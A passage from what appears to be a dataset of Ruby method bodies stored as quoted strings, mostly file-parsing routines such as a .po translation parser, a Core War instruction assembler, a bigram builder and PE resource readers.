textcontent.empty?\n\t\t\t\t\thtml = content.to_s[4..-6].strip # The slice strips the <td> tags\n\t\t\t\t\ts[:raw_content] = html\n\t\t\t\t\ts[:text_content] = textcontent\n\t\t\t\t\ts[:mdown_content] = markdownFormat(html,s[:title] != \"Syntax\") \n\t\t\t\tend\n\t\t\t\tpage[:sections] << s\n\t\t\tend\n\n\t\t\t#It might be a tutorial page such as turing_admin\n\t\t\tif page[:sections].empty?\n\t\t\t\tpage[:htmlcontent] = doc.xpath(\"/html/body\").to_html(:encoding => 'UTF-8')[6..-8]\n\t\t\tend\n\n\t\t\tpage\n\t\tend",
"def parse( language, target=[] )\n file = file_name(language)\n content = File.open( file, 'r' ).read.gsub( /\\\"\\n\\\"/, '' )\n puts \"Parsing \\\"#{file}\\\" ...\"\n content.each_line do |line|\n parse_line( line, target ) unless line.first == '#'\n end\n target.shift # remove po header\n \n return target\n rescue Errno::ENOENT\n puts \"Can not found \\\"#{file}\\\", parsing skipped.\"\n return []\n end",
"def translate(file)\n \n basename = File.basename(file)\n candidates = []\n test_filename = nil\n case file\n when %r:^app/controllers/:\n test_filename = file.sub('.rb', '_test.rb').sub('app/controllers', 'test/functional')\n when %r:^app/models/:\n test_filename = \"test/unit/#{basename.sub('.rb', '_test.rb')}\"\n when %r:^app/views/:\n file = file.sub('app/views/', '')\n directory = file.split('/')[0..-2].compact.join('/')\n test_filename = \"test/functional/#{directory}_controller_test.rb\"\n when %r:^test/:\n test_filename = file\n when %r:^lib/:\n # map libs to units\n test_filename = \"test/unit/#{file.sub('lib/', '').sub('.rb', '_test.rb')}\"\n when 'config/routes.rb'\n test_filename = \"test/functional/#{basename.sub('.rb', '_test.rb')}\"\n #candidates << 'controllers' << 'helpers' << 'views'\n when 'config/database.yml', 'db/schema.rb'\n #candidates << 'models'\n else\n #\n end\n if test_filename and file_verified?(test_filename)\n candidates << test_filename\n end\n if candidates == []\n puts \"=> NOTICE: could not find test file for: #{file}\" if Bolt.verbose?\n end\n # puts candidates.inspect\n candidates\n end",
"def parse_nfo\n @nfo.split(/\\n/).each do |line|\n case line\n when /subtitle|sub/i\n @srt << 'fr' if line =~ /fr|fre|french/i\n @srt << 'en' if line =~ /en|eng|english/i\n # TODO add more language parsing here\n @srt << 'none' if line =~ /none/i\n when /imdb\\.com\\/title\\//\n @imdb_link = (matched = line.match(/imdb.com\\/title\\/(tt[0-9]+)/)) && \"http://imdb.com/title/#{matched[1]}\"\n end\n end\n @srt << 'unknown' if @srt.empty?\n end",
"def parsef!(file: \"\")\n types = @type ? [@type] : VALID_TASKS\n\n File.open(file, \"r\") do |f|\n line_number = 1\n while line = f.gets\n types.each do |type|\n result = line.match(/#{Regexp.escape(type)}[\\s,:-]+(\\S.*)\\Z/) rescue nil\n\n unless result.nil?\n task = {\n file: file,\n line_number: line_number,\n task: result.to_a.last\n }\n\n @tasks[type.to_sym] << task\n end\n end\n\n line_number += 1\n end\n end\n end",
"def load_translations_and_collect_file_errors(files); end",
"def process_file(file)\n @first_comment = false\n \n d = CodeFile.create_or_update_by_full_name :name => file.file_relative_name, :full_name => file.file_absolute_name\n\n @containers << d.id\n orig_file = File.new(file.file_absolute_name)\n lines = orig_file.readlines\n CLASSES[file.file_absolute_name].each do |key, klass|\n CLASSES[file.file_absolute_name][key][:line] = lines[klass[:line_no] - 1]\n end if CLASSES[file.file_absolute_name]\n MODULES[file.file_absolute_name].each do |key, mod|\n MODULES[file.file_absolute_name][key][:line] = lines[mod[:line_no] - 1]\n end if MODULES[file.file_absolute_name]\n\n # Process all of the objects that this file contains\n file.method_list.each { |child| process_method(child, file) }\n file.aliases.each { |child| process_alias(child, file) }\n file.constants.each { |child| process_constant(child, file) }\n file.requires.each { |child| process_require(child, file) }\n file.includes.each { |child| process_include(child, file) }\n file.attributes.each { |child| process_attribute(child, file) } \n\n # Recursively process contained subclasses and modules\n @file = file\n RDoc::TopLevel.all_classes_and_modules.each do |child| \n process_type_or_module(child, file) \n end\n \n comment = CodeComment.create_or_update_by_owner_id_and_owner_type_and_owner_type :exported_body => file.comment, :owner_id => d.id, :owner_type => d.class unless file.comment.blank? || Digest::MD5.hexdigest(file.comment) == @first_comment\n @comments << comment.id if comment\n \n end",
"def translate_log_file map, log_file\n state = :rs\n file_id = nil\n file = nil\n line = nil\n lineno = nil\n parameters_length = nil\n parameter_bytes = nil\n\n log_file.each_byte do |b|\n case state\n when :rs\n parameter_bytes = []\n state = :file_id_lo\n when :file_id_lo\n file_id = b\n state = :file_id_hi\n when :file_id_hi\n file_id += b * 256\n file = map[file_id]\n if file\n state = :lineno_lo\n else\n $stderr.puts \"File ID #{file_id} not found in map\"\n state = :lingering\n end\n when :lineno_lo\n lineno = b\n state = :lineno_hi\n when :lineno_hi\n lineno += b * 256\n line = file[:lines][lineno]\n state = :parameters_length\n when :parameters_length\n parameters_length = b % 128\n if parameters_length > 0\n state = :parameters\n else\n state = :checksum\n end\n when :parameters\n parameter_bytes << b\n parameters_length -= 1\n if parameters_length == 0\n state = :checksum\n end\n when :checksum\n if line\n parameters = split_parameter_bytes file, line, parameter_bytes\n message = format_log_message(file, lineno, line, parameters)\n puts message\n else\n $stderr.puts \"#{file[:file_name]}@#{lineno}: Line not found in map\"\n end\n state = :rs\n end\n end\nend",
"def parse_file!(file, arg={})\n spx = ICU::Util::File.read_utf8(file)\n arg[:is_utf8] = true\n parse!(spx, arg)\n end",
"def scan_file(filename, lang = T.unsafe(nil), options = T.unsafe(nil), &block); end",
"def translate(file)\n \n basename = File.basename(file)\n candidates = []\n test_filename = nil\n case file\n when %r:^app/controllers/:\n test_filename = file.sub('.rb', '_test.rb').sub('app/controllers', 'test/functional')\n when %r:^app/models/:\n test_filename = \"test/unit/#{basename.sub('.rb', '_test.rb')}\"\n when %r:^app/views/:\n file = file.sub('app/views/', '')\n directory = file.split('/')[0..-2].compact.join('/')\n test_filename = \"test/functional/#{directory}_controller_test.rb\"\n when %r:^test/:\n test_filename = file\n when %r:^lib/:\n # map libs to units\n test_filename = \"test/unit/#{file.sub('lib/', '').sub('.rb', '_test.rb')}\"\n when 'config/routes.rb'\n test_filename = \"test/functional/#{basename.sub('.rb', '_test.rb')}\"\n #candidates << 'controllers' << 'helpers' << 'views'\n when 'config/database.yml', 'db/schema.rb'\n #candidates << 'models'\n else\n #\n end\n if test_filename and file_verified?(test_filename)\n candidates << test_filename\n end\n if candidates == []\n puts \"=> NOTICE: could not find test file for: #{file}\"\n end\n # puts candidates.inspect\n candidates\n end",
"def parseFile(player, fName)\n typetoi = { \"DAT\" => 0, \"MOV\" => 1, \"ADD\" => 2, \"SUB\" => 3, \"JMP\" => 4, \"JMZ\" => 5, \"DJZ\" => 6, \"CMP\" => 7}\n modetoi = { \"\\#\" => 0, \"\\$\" => 1, \"\\@\" => 2}\n bufCore = [] # Holds the compiled programs for each player\n f = File.open(fName, \"r\") # Open fName for reading\n puts \"Parsing file: \" + fName\n f.each_line do |line| \n puts line\n line.slice!(/;.*/) # Delete comments\n line1 = line.upcase\n typeIndex = /[A-Z][A-Z][A-Z]/ =~ line1 # Get Type\n if typeIndex != nil # Type exists\n type = $~[0]\n puts \" Type: \" + type\n line1 = $~.post_match # Trim out the type\n numIndex = /[\\-|\\+|\\d]\\d*/ =~ line1 # Get First Field\n \n if numIndex == nil\n puts \"Error, no Fields\"\n else\n fieldA = $~[0].to_i\n end #numIndex...\n \n line1 = $~.pre_match # Before the first field\n line2 = $~.post_match # After the first field\n \n modeIndex = /[\\#\\$\\@]/ =~ line1 # Get Mode for first field\n \n if modeIndex == nil\n modeA = \"$\"\n else\n modeA = $~[0]\n end # if modeIndex\n puts \" ModeA: \" + modeA # Print the assembled instruction\n puts \" FieldA: #{fieldA}\"\n\n numIndex = /[\\-|\\+|\\d]\\d*/ =~ line2 # Get Second Field\n \n if numIndex == nil\n fieldB = fieldA # Copy first field & mode if no second\n modeB = modeA\n else\n fieldB = $~[0].to_i\n\n line1 = $~.pre_match # Before the second field\n\n modeIndex = /[\\#\\$\\@]/ =~ line1 # Get Mode for second field\n if modeIndex == nil\n modeB = \"$\"\n else\n modeB = $~[0]\n end\n end # if numIndex...\n \n puts \" ModeB: \" + modeB\n puts \" FieldB: #{fieldB}\"\n puts \" Opcode: #{typetoi[type]}, #{modetoi[modeA]}, #{fieldA}, #{modetoi[modeB]}, #{fieldB}\"\n bufCore << [typetoi[type], modetoi[modeA], fieldA, modetoi[modeB], fieldB, player]\n end #if typeIndex...\n # Instruction Regexp: /[A-Za-z]+|[#$@]|[[-|+]\\d+]/ \n # Comment Regexp: /;.*/ \n end #each_line\n f.close\n puts \"Core Dump, player[#{player}]:\" # Write out the compiled program\n bufCore.each do |element| \n puts \" #{element[0]}, #{element[1]}, #{element[2]}, #{element[3]}, #{element[4]}\"\n end #bufCore.each\n puts\n bufCore\n end",
"def read ( file, trace_dir )\n extension = File.extname(file)\n case extension\n when '.csv' then read_csv(file)\n when '.bag' then read_bag(file,trace_dir)\n else abort(\"file extension #{extension} not supported\")\n end\nend",
"def parser_type_for_filename(filename); end",
"def handle filename\n\t@dw.consider filename\nend",
"def check_file\n @files.each do |file|\n case \n when file.fnmatch(\"*Verbale autorizzativo*\") then check_verbale(estrai_allegato(file))\n when file.fnmatch(\"*Prezzi_Offerte*\") then check_controllo_offerte(file)\n when file.fnmatch(\"*Validate_Eni*\") then check_offerte(file)\n when file.fnmatch(\"*Esitate_Eni*\") then check_offerte(file)\n when file.fnmatch(\"*ProgrFisica*\") then check_offerte_pce(file)\n when file.fnmatch(\"*Scheduling & Bilateral Program*\") then check_scheduling_bilateral(file)\n when file.fnmatch(\"*tool autorizzazione offerte belpex*\") then check_tool_belgio(file)\n when file.fnmatch(\"*Export E-prog46_ita.xls\") then check_tool_olanda(file) \n when file.fnmatch(\"*Validate_*_*.docx\") then check_validate_epex(file) \n when file.fnmatch(\"*Esitate_Francia_*.csv\") then check_esitate_epex(file)\n when file.fnmatch(\"*Esitate_Germania_*.csv\") then check_esitate_epex(file) \n when file.fnmatch(\"*Esitate_Svizzera_*.csv\") then check_esitate_epex(file) \n else\n\n end\n end\n end",
"def process_mods_file(mods_file, druid)\n compare_mods_to_template(mods_file, druid)\n @data[druid] = mods_file.transform_mods_file if @analysis_only == false\n end",
"def parse\n wo_lines = IO.readlines( @file_dir )\n @current_group = get_group( \"default\" )\n @current_material_name = \"default\"\n puts(\"+Loading .obj file:\\n \\\"#{@file_dir.sub(ROOT, '')}\\\"\") if @verbose\n # parse file context\n wo_lines.each do |line|\n tokens = line.split\n # make sense of the object tokens\n string = line.sub(\"\\r\", \"\")\n process_line(tokens[0], tokens[1..tokens.length-1], string.sub(\"\\n\", \"\"))\n end\n @object_name = @file_dir.split('/').last\n @object_name.sub!(\".obj\", '')\n # verbose status updates\n puts(\"+Object name is \\\"#{@object_name}\\\" with (#{@objects.size}) Internal Objects.\") if @verbose\n if get_group(\"default\").faces.empty?\n @groups.delete(\"default\")\n end\n @current_group = nil\n @current_material_name = nil\n end",
"def process_str_file(file_array)\n column_headings = []\n file_array.each do |f|\n\n #File.open(params[:inputfile],\"r\") do |file|\n # while (f = file.gets)\n next if f =~ /^#/ # ignore lines that start with a hash - comments\n f.strip! # remove any whitespace, linefeeds, etc.\n\n # if this line has the column headings, extract and do the next line\n if f =~ /^Order/\n column_headings = f.split(/\\t/)\n next\n end\n\n # Split the biomart dump file on tabs\n the_data = f.split(/\\t/)\n\n case the_data[2]\n when 'TRAIT'\n load_hjj_trait_data(column_headings,the_data)\n when 'SNP'\n load_hjj_snp_data(column_headings,the_data)\n when 'STR'\n load_hjj_str_data(column_headings,the_data)\n end\n\n #end # end of while loop\n end # of File.open\n \n end",
"def translate_file(inp, literal=false)\n pn = Pathname.new(inp)\n # check file exists\n if pn.exist?\n # open and read\n text = File.open(inp).read\n ruleset = text.gsub(/\\r\\n?/, \"\\n\").split(\"\\n\") # split into rules\n out = \"\"\n # feed rules into converter and put output into variable\n ruleset.each { |rule| out << \"#{Phomo2Sce.new(rule).to_sce(literal)}\\n\" }\n out # return translated file\n else\n puts \"Error! Could not find file with path #{inp}\"\n end\nend",
"def parse_file\n File.read(file_with_ext).to_s\n end",
"def parse_in_order(*files); end",
"def process_file_versions(json)\n dig_f = {}\n unless json['file_versions'].blank?\n embed_caption = ''\n rep_caption = ''\n json['file_versions'].each do |version|\n version['file_uri'].strip!\n if version.dig('publish') != false && (version['file_uri'].start_with?('http') ||\n version['file_uri'].start_with?('data:'))\n\n if version.dig('xlink_show_attribute') == 'embed'\n dig_f['thumb'] = version['file_uri']\n dig_f['represent'] = 'embed' if version['is_representative']\n # For an embedded file version, if the caption is empty,\n # 1. set the embed_caption to the title\n # 2. set the rep_caption to the title if it is a representative version\n if version['caption'].blank?\n embed_caption = version['title']\n rep_caption = version['title'] if version['is_representative']\n else\n # For an embedded file version, if the caption is not empty,\n # 1. set the embed_caption to the caption\n # 2. set the rep_caption to the caption if it is a representative version\n embed_caption = version['caption']\n rep_caption = version['caption'] if version['is_representative']\n end\n else\n dig_f['represent'] = 'new' if version['is_representative']\n dig_f['out'] = version['file_uri'] if version['file_uri'] != (dig_f['out'] || '')\n # if the caption is empty set the rep_caption to the title\n if version['caption'].blank?\n rep_caption = version['title']\n else\n # if the caption is not empty set the rep_caption to the caption\n rep_caption = version['caption']\n end\n end\n elsif !version['file_uri'].start_with?('http')\n Rails.logger.debug(\"****BAD URI? #{version['file_uri']}\")\n end\n end\n end\n # Use the representative caption for the caption in the PUI if there is a\n # representative caption\n if !rep_caption.blank?\n dig_f['caption'] = rep_caption\n elsif !embed_caption.blank?\n # Use the embed caption for the caption in the PUI if there is isn't a\n # representative caption but there is an embedded caption\n dig_f['caption'] = rep_caption\n end\n dig_f\n end",
"def analyze (file_path)\n\n states = decompose(file_path)\n\n states.each do |state|\n\n next if state.dynamic.length < 1\n\n puts\n puts state.to_s\n puts\n end\n end",
"def parse_file(file_path)\n Cabrillo.parse(IO.read(file_path))\n end",
"def categorize filename\n [filetype(filename), fileclass(filename)]\nend",
"def processTags(files)\n files.each do |file|\n count = 0\n File::readlines(file).each do |line|\n count+=1\n\n # function sym (\n line.gsub(/function ([\\w_$]+)([\\s]*)\\(/) {|match|\n puts $1 << \"\\t\" << file << \"\\t\" << '/' << match << '/' << ';\"'\n match\n }\n\n # obj.prototype.sym =\n line.gsub(/([\\w_$]+)\\.prototype\\.([\\w_$]+)([\\s]*)=/) {|match|\n puts $2 << \"\\t\" << file << \"\\t\" << '/' << match << '/' << ';\"'\n match\n }\n\n # this.sym = [new] [Ff]unction\n line.gsub(/this\\.([\\w_$]+)([\\s]*)=([\\s]*)(new[\\s])*[Ff]unction/) {|match|\n puts $1 << \"\\t\" << file << \"\\t\" << '/' << match << '/' << ';\"'\n match\n }\n\n # goog.namespace.sym =\n line.gsub(/goog\\.([\\w_$]+)\\.([\\w_$]+)([\\s]*)=/) {|match|\n puts $2 << \"\\t\" << file << \"\\t\" << '/' << match << '/' << ';\"'\n match\n }\n\n # sym : [new] [Ff]unction\n line.gsub(/([\\w_$]+)([\\s]*):([\\s]*)(new[\\s])*[Ff]unction[\\W]/) {|match|\n puts $1 << \"\\t\" << file << \"\\t\" << '/' << match << '/' << ';\"'\n match\n }\n end\n end\n return\nend",
"def initialize(file)\n @file = file\n\n case ext = File.extname(file)\n when '.till', '.til'\n fname = file.chomp(ext)\n else\n fname = file\n end\n\n #@format = File.extname(fname)\n @location = File.dirname(File.expand_path(file))\n\n text = File.read(file).rstrip\n\n # front matter indicator\n if text =~ /\\A---/\n text = text.sub(/---.*?\\n/, '')\n meta, body = *text.split(/^---/)\n else\n meta = nil\n body = text\n end\n\n @content = body\n\n fm = meta ? YAML.load(meta) : {}\n\n self.filters = fm['filter'] || ['erb']\n\n self.format = fm['format'] || File.extname(fname)\n\n if fm['output']\n self.output = fm['output']\n else\n self.output = fname #.chomp(extension) #+ DEFAULT_CONVERSIONS[filters.last]\n end\n\n\n\n #@context = Context.new(@location) # prime context/scope\n end",
"def process(*files) # TODO: rename from process - should act as SexpProcessor\n files.each do |file|\n warn \"Processing #{file}\" if option[:verbose]\n\n ext = File.extname(file).sub(/^\\./, \"\")\n ext = \"rb\" if ext.nil? || ext.empty?\n msg = \"process_#{ext}\"\n\n unless respond_to? msg then\n warn \" Unknown file type: #{ext}, defaulting to ruby\"\n msg = \"process_rb\"\n end\n\n begin\n sexp = begin\n send msg, file\n rescue => e\n warn \" #{e.message.strip}\"\n warn \" skipping #{file}\"\n nil\n end\n\n next unless sexp\n\n process_sexp sexp\n rescue SyntaxError => e\n warn \" skipping #{file}: #{e.message}\"\n end\n end\n end",
"def process_input_file\n\t\t\tinput_file = File.open(@params[:input_file], 'r')\n\t\t\tfile_terms = convert_contents_to_search_string(input_file.read)\n\t\t\tadd_terms(file_terms)\n\t\tend",
"def transform(fl, cnf)\n begin\n @cnf = cnf\n \n # Collecting the file content into an array for easy navigation\n @cntnt = File.new(fl).readlines\n \n @clm_fl_info = ClaimFileInformation.new\n @clm_fl_info.claim_informations << process_claim\n collect_file_info(fl)\n \n # @clm_fl_info.save!\n p clm_fl_info\n rescue => err\n puts err.message\n LogManager.log_ror_exception(err,\"message\")\n end \n end",
"def filepath_to_id\n @filepath = @filepath[@filepath.index(FILE_REGEX[:dir])..-1]\n FILE_REGEX.each do |attr,regex|\n if match = @filepath.scan(regex).try(:flatten).try(:compact)\n if attr == :ext\n @format = match.shift\n @handler = match.join(\".\")\n else\n self.instance_variable_set \"@#{attr}\", match=match[0]\n unless match.nil?\n attr == :locale ? @filepath.gsub!(/\\.#{match}/,\"\") : @filepath.gsub!(/\\/#{match}/,\"\")\n end\n end\n end\n end\n end",
"def process_debug_info(inputfile, outputfile, view)\r\n \r\n input_data = File.open(inputfile){|f| f.readlines }\r\n \r\n output_data = Array.new\r\n\r\n input_data.each{|l|\r\n l.gsub!(@view_pattern){|p| \r\n if $1.strip == \"all\" then\r\n color=\"black\"\r\n else\r\n color=\"red\"\r\n end\r\n \r\n \"\\\\color{#{color}}\\\\rule{2cm}{0.5mm}\\\\marginpar{#{$1.strip}}\"\r\n\r\n }\r\n \r\n l.gsub!(/todo:|TODO:/){|p| \"#{p}\\\\marginpar{TODO}\"}\r\n \r\n output_data << l\r\n }\r\n\r\n File.open(outputfile, \"w\"){|f| f.puts output_data.join }\r\n end",
"def country_to_culture\n @country_to_culture ||= begin\n result = {}\n glob(\"history/countries/*.txt\").each do |path|\n tag = path.basename.to_s[0,3]\n node = parse(path)\n result[tag] = node[\"primary_culture\"]\n end\n result\n end\n end",
"def classy_parse(file)\n CSV.foreach(file, :encoding => 'iso-8859-1') { |row|\n classify(row[5])\n }\n end",
"def convert(input, file_path = nil)\n render process parse(input, file_path)\n end",
"def parse\n # we need one of them at least\n return nil if !@id.present? && !@filepath.present? \n # get key from filepath if needs\n @id.nil? ? filepath_to_id : id_to_filepath\n # set default locale if null\n @locale ||= I18n.locale.to_s\n # cleanup blanks\n @handler = nil if @handler.blank?\n # set default format\n @format ||= FORMATS[@dir]\n # rebuild key\n @id = [\"\",@dir,@path].compact.join(\"/\")\n # rebuild filepath\n dir = (is_asset? ? \"assets/#{@dir}\" : (is_content? ? \"content/#{@dir}\" : @dir))\n\n @filepath = Grass.app_root + [\"\",dir,@path].compact.join(\"/\") + [\"\",@locale,@format,@handler].compact.join(\".\") \n\n end",
"def load_file(file); end",
"def build_filelist(source_file, rule_name)\n basename = source_file.pathmap('%n') # base name without ext\n prefix = \"#{CONF[\"project\"]}-#{rule_name}--#{basename}\"\n src_lines = File.readlines(source_file)\n\n filelist = {\n source: source_file,\n mp3: \"#{DIR[:mp3]}/#{prefix}.mp3\",\n compile: \"#{DIR[:compile]}/#{prefix}.wav\",\n concat: 1.upto(src_lines.size).map { |n| \"#{DIR[:concat]}/#{prefix}--#{'%04d' % n}.wav\" },\n raw: [],\n say_args_by_raw: {},\n movie_concat: \"#{DIR[:movie]}/CONCAT_#{prefix}.txt\",\n movie: \"#{DIR[:movie]}/#{prefix}.mp4\",\n movie_pics: [],\n app_sounds: [],\n }\n\n\n field_voice = CONF['field'].to_a\n src_lines.each_with_index do |line, line_index|\n line.chomp!\n\n raw_by_field = {}\n line.split(/\\t/).each_with_index do |content, index|\n field, voice = field_voice[index]\n next unless voice\n filename_safe_content = get_filename(content)\n # p [filename_safe_content, content]\n\n if (filelist[:movie_pics][line_index].nil?)\n filelist[:movie_pics].push \"#{DIR[:movie_pics]}/#{filename_safe_content}.png\"\n end\n\n app_config = CONF['app'][rule_name]\n if app_config\n app_root = app_config['app_root']\n if app_root\n if (filelist[:app_sounds][line_index].nil?)\n filelist[:app_sounds].push app_config['sounds'].size.times.map { |n|\n File.join(app_root, \"sounds\", \"#{filename_safe_content}-#{n + 1}.wav\")\n }\n end\n end\n end\n\n filter = CONF['filter'][field]\n content = Filter.send(filter, content) if filter\n digest = Digest::SHA256.hexdigest(voice + content)\n raw_file = \"#{DIR[:raw]}/#{digest}.wav\"\n filelist[:say_args_by_raw][raw_file] = [voice, content]\n raw_by_field[field] = raw_file\n end\n filelist[:raw] << raw_by_field\n end\n filelist\nend",
"def remove_unparseable files\n files.reject do |file, *|\n file =~ /\\.(?:class|eps|erb|scpt\\.txt|svg|ttf|yml)$/i or\n (file =~ /tags$/i and\n File.open(file, 'rb') { |io|\n io.read(100) =~ /\\A(\\f\\n[^,]+,\\d+$|!_TAG_)/\n })\n end\n end",
"def import\n print 'Import filename: '\n $stdout.flush\n file = gets.chomp\n fd = File.new(file, \"r\")\n itecky = file.rindex('.')\n raise 'missing dot in filename' if itecky == nil\n fname = file[0,itecky]\n fname.upcase!\n puts\n fd.each do\n |row|\n if row.strip.length == 0 or row[0,1] == '*' or row[0,1] == '#'\n next\n end\n row.chomp!\n items = row.split # deleni row na polozky oddelene mezerou\n nitems = items.length # pocet polozek\n raise \"only one word on the line\\n[#{row}]\" if nitems == 1\n if nitems == 2 # slovicka bez oddelovaci carky\n en = items[0]\n cz = items[1]\n else # slovicka a fraze s oddelovaci carkou\n i = row.index(' - ') # oddelovac anglickeho a ceskeho vyrazu\n raise \"missing ' - ' between English and Czech phrases\\n[#{row}]\" if i == nil\n en = row[0,i+1].strip # prvni cast radku - anglicka\n cz = row[i+3..-1].strip # druha cast radku - ceska\n end\n flag = false\n for iw in 0 ... $words.length do\n if $words[iw].fname == fname and\n ($words[iw].english == en or $words[iw].czech == cz) then\n flag = true\n break\n end\n end\n if flag == true then next end\n $words << Word.new(fname,0,0,en,cz)\n w = konverze($words.last.english + ' | ' + $words.last.czech)\n puts w\n end\n puts\n $stdout.flush\nend",
"def process_file(file_name)\n\tputs \"Processing File.... \"\n\n\tbegin\n\t\tIO.foreach(file_name, encoding: \"utf-8\") do |line|\n\t\t\ttitle = cleanup_title(line)\n\t\t\t# If the title is valid continue\n\t\t\tif title != nil\n\t\t\t\t# Split the title into words\n\t\t\t\twords = title.split(\" \")\n\t\t\t\tw_index = 0\n\t\t\t\t# Remove the stop words\n\t\t\t\twords = words - %w{a an and by for from in of on or out the to with}\n\t\t\t\t# If there is more than one word in a title add to biagram\n\t\t\t\tif words.length > 1\n\t\t\t\t\twords.each do |w|\n\t\t\t\t\t\t# If there is no base word add it\n\t\t\t\t\t\tif $bigrams[w] == nil\n\t\t\t\t\t\t\t$bigrams[w] = Hash.new\n\t\t\t\t\t\t\t$bigrams[w][words[w_index + 1]] = 1\n\t\t\t\t\t\t# Else if there is no word following the word add it\n\t\t\t\t\t\telsif $bigrams[w][words[w_index + 1]] == nil\n\t\t\t\t\t\t\t$bigrams[w][words[w_index + 1]] = 1\n\t\t\t\t\t\t# Else increment the count of the word following\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$bigrams[w][words[w_index + 1]] += 1\n\t\t\t\t\t\tend\n\t\t\t\t\t\tw_index += 1\n\t\t\t\t\t\t# Don't include the last word in the title\n\t\t\t\t\t\tif w_index > words.length - 2\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tputs \"Finished. Bigram model built.\\n\"\n\trescue\n\t\traise\n\t\tSTDERR.puts \"Could not open file\"\n\t\texit 4\n\tend\nend",
"def parse(filename)\n instructions = open filename\n instructions.read.split(//)\nend",
"def decompose (file_path)\n\n do_decompose(load_events(file_path), [], nil, 0)\n end",
"def read(files); end",
"def read(files); end",
"def parse f\n raise \"called parse with type not set\" unless self.type\n #return if self.data\n\n self.data = []\n return nil unless file_offset\n\n case type\n when 'BITMAP','ICON'\n f.seek file_offset\n if f.read(4) == \"\\x89PNG\"\n data << 'PNG'\n else\n f.seek file_offset\n data << BITMAPINFOHEADER.read(f)\n end\n when 'CURSOR'\n f.seek file_offset\n data << CURSOR_HOTSPOT.read(f)\n data << BITMAPINFOHEADER.read(f)\n when 'GROUP_CURSOR'\n f.seek file_offset\n data << CUR_ICO_HEADER.read(f)\n nRead = CUR_ICO_HEADER::SIZE\n data.last.wNumImages.to_i.times do\n if nRead >= self.size\n PEdump.logger.error \"[!] refusing to read CURDIRENTRY beyond resource size\"\n break\n end\n data << CURDIRENTRY.read(f)\n nRead += CURDIRENTRY::SIZE\n end\n when 'GROUP_ICON'\n f.seek file_offset\n data << CUR_ICO_HEADER.read(f)\n nRead = CUR_ICO_HEADER::SIZE\n data.last.wNumImages.to_i.times do\n if nRead >= self.size\n PEdump.logger.error \"[!] refusing to read ICODIRENTRY beyond resource size\"\n break\n end\n data << ICODIRENTRY.read(f)\n nRead += ICODIRENTRY::SIZE\n end\n when 'STRING'\n f.seek file_offset\n 16.times do\n break if f.tell >= file_offset+self.size\n nChars = f.read(2).to_s.unpack('v').first.to_i\n t =\n if nChars*2 + 1 > self.size\n # TODO: if it's not 1st string in table then truncated size must be less\n PEdump.logger.error \"[!] string size(#{nChars*2}) > stringtable size(#{self.size}). truncated to #{self.size-2}\"\n f.read(self.size-2)\n else\n f.read(nChars*2)\n end\n data <<\n begin\n t.force_encoding('UTF-16LE').encode!('UTF-8')\n rescue\n t.force_encoding('ASCII')\n tt = t.size > 0x10 ? t[0,0x10].inspect+'...' : t.inspect\n PEdump.logger.error \"[!] cannot convert #{tt} to UTF-16\"\n [nChars,t].pack('va*')\n end\n end\n # XXX: check if readed strings summary length is less than resource data length\n when 'VERSION'\n f.seek file_offset\n data << PEdump::VS_VERSIONINFO.read(f)\n end\n\n data.delete_if do |x|\n valid = !x.respond_to?(:valid?) || x.valid?\n PEdump.logger.warn \"[?] ignoring invalid #{x.class}\" unless valid\n !valid\n end\n ensure\n validate\n end",
"def parse_logfilter_file\n path = logfilter_path()\n if path.nil?\n puts \"*** WARNING: filt cannot find expression file #{FILTER_FILENAME}\"\n return\n end\n\n # Determine where to persist compiled file (to avoid unnecessary recompilation)\n persist_path = path + \".compiled_dfa\"\n if File.exist?(persist_path) && File.mtime(persist_path) < File.mtime(path)\n File.delete(persist_path)\n end\n script = FileUtils.read_text_file(path)\n script = precompile_token_script(script)\n @filter_dfa = Tokn::DFA.from_script(script,persist_path)\n end",
"def parse_filenames(path)\n\t\t#first if checks if it's a directory, a file or neither\n\t\tif File.directory?(path)\n\t\t\tdirname = path.chomp\n\t\t\t@files = File.join(path, \"*.vm\")\n\t\t\t@files = Dir.glob(@files)\n\t\t\t#if we have no files, there's nothing we can do, EXCEPTION\n\t\t\tif (@files.length == 0)\n\t\t\t\traise StandardError, \"No files to open\"\n\t\t\tend\n\t\t\tname = File.basename(dirname)\n\t\t\t@output = dirname + \"/\" + name + \".asm\"\n\t\telsif File.file?(path)\n\t\t\t#make sure the file is of the .vm type\n\t\t\tif (File.extname(path) == '.vm')\n\t\t\t\t#generate our output path\n\t\t\t\t@files = path\n\t\t\t\tf_path = File.split(path)[0]\n\t\t\t\tf_base = File.basename(path, '.vm')\n\t\t\t\tnFile = \"#{f_path}/#{f_base}.asm\"\n\t\t\t\t@output = nFile\n\t\t\telse\n\t\t\t\traise \"Error, cannot open this file!\"\n\t\t\tend\n\t\telse\n\t\t\traise \"ERROR, not a file or directory!\"\n\t\tend\n\n\t\t#return everything\n\t\treturn @files\n\tend",
"def process(website_file, processing_contents)\n return processing_contents if not website_file.config.remove_h1_tags\n\n possible_translators = \\\n translators.select {|name, translator| translator.translates?(website_file)}\n return processing_contents if possible_translators.length == 0\n\n #if possible_translators.nil?\n # throw \"nil 1\"\n #elsif possible_translators[0].nil?\n # throw \"nil 2\"\n #end\n\n translator = possible_translators.values[0]\n\n # Just remove the first one, if we can.\n translator.h1_regex.nil? ? processing_contents : processing_contents.sub(translator.h1_regex, \"\")\n end",
